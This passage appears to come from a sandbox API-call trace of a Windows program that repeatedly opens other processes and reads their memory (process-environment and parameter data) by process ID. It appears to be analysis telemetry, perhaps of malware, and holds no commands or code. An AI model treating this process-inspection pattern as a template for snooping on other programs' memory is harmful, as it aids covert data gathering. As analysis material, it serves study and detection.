lpBaseAddress=0x27e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.520] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.520] malloc (_Size=0x7e) returned 0x20abc2aa600 [0292.520] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11196e, lpBuffer=0x20abc2aa600, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa600*, lpNumberOfBytesRead=0x0) returned 1 [0292.521] free (_Block=0x20abc2aa600) [0292.522] CloseHandle (hObject=0x16c) returned 1 [0292.522] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0292.526] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3776") returned 4 [0292.529] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.529] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x16c [0292.542] GetLastError () returned 0x0 [0292.574] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.574] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.574] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.574] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.574] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.576] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.578] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.578] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.578] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.578] malloc (_Size=0x7a) returned 0x20abc2aa330 [0292.578] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53196a, lpBuffer=0x20abc2aa330, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa330*, lpNumberOfBytesRead=0x0) returned 1 [0292.579] free (_Block=0x20abc2aa330) [0292.579] CloseHandle (hObject=0x16c) returned 1 [0292.580] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0292.583] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4100") returned 4 [0292.584] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.584] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x16c [0292.599] GetLastError () returned 0x0 [0292.601] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.601] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.601] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.601] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.601] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.602] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.604] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.604] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.604] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.604] malloc (_Size=0x78) returned 0x20abc282120 [0292.604] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0292.605] free (_Block=0x20abc282120) [0292.606] CloseHandle (hObject=0x16c) returned 1 [0292.641] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0292.645] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4116") returned 4 [0292.646] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.646] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.661] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x16c [0292.661] GetLastError () returned 0x0 [0292.662] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.662] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.662] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.664] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.665] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.665] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.666] malloc (_Size=0x78) returned 0x20abc282120 [0292.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0292.667] free (_Block=0x20abc282120) [0292.670] CloseHandle (hObject=0x16c) returned 1 [0292.671] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0292.674] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4124") returned 4 [0292.675] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.675] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.706] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x16c [0292.706] GetLastError () returned 0x0 [0292.707] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.707] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.708] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.708] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.708] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.709] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.711] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.711] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.711] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.711] malloc (_Size=0x64) returned 0x20abc2803e0 [0292.711] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2803e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.712] free (_Block=0x20abc2803e0) [0292.713] CloseHandle (hObject=0x16c) returned 1 [0292.714] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0292.719] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4136") returned 4 [0292.720] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.720] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x16c [0292.736] GetLastError () returned 0x0 [0292.737] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.737] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.737] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.737] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.738] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc22fc240, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.739] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.740] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.740] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.740] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.740] malloc (_Size=0x66) returned 0x20abc280840 [0292.741] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1956, lpBuffer=0x20abc280840, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0292.741] free (_Block=0x20abc280840) [0292.742] CloseHandle (hObject=0x16c) returned 1 [0292.742] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0292.782] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4152") returned 4 [0292.783] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.783] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x16c [0292.799] GetLastError () returned 0x0 [0292.800] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.800] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.800] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.801] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.801] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7918f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.802] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.804] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.804] malloc (_Size=0x76) returned 0x20abc282120 [0292.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0292.805] free (_Block=0x20abc282120) [0292.806] CloseHandle (hObject=0x16c) returned 1 [0292.806] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0292.823] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4160") returned 4 [0292.824] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.824] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x16c [0292.867] GetLastError () returned 0x0 [0292.868] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.868] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.868] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.868] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.869] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.870] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.877] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.877] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.877] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.877] malloc (_Size=0x7a) returned 0x20abc2aa600 [0292.877] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f196a, lpBuffer=0x20abc2aa600, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa600*, lpNumberOfBytesRead=0x0) returned 1 [0292.878] free (_Block=0x20abc2aa600) [0292.879] CloseHandle (hObject=0x16c) returned 1 [0292.879] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0292.884] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4172") returned 4 [0292.888] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.888] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.908] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x16c [0292.908] GetLastError () returned 0x0 [0292.910] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.910] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.911] ReadProcessMemory 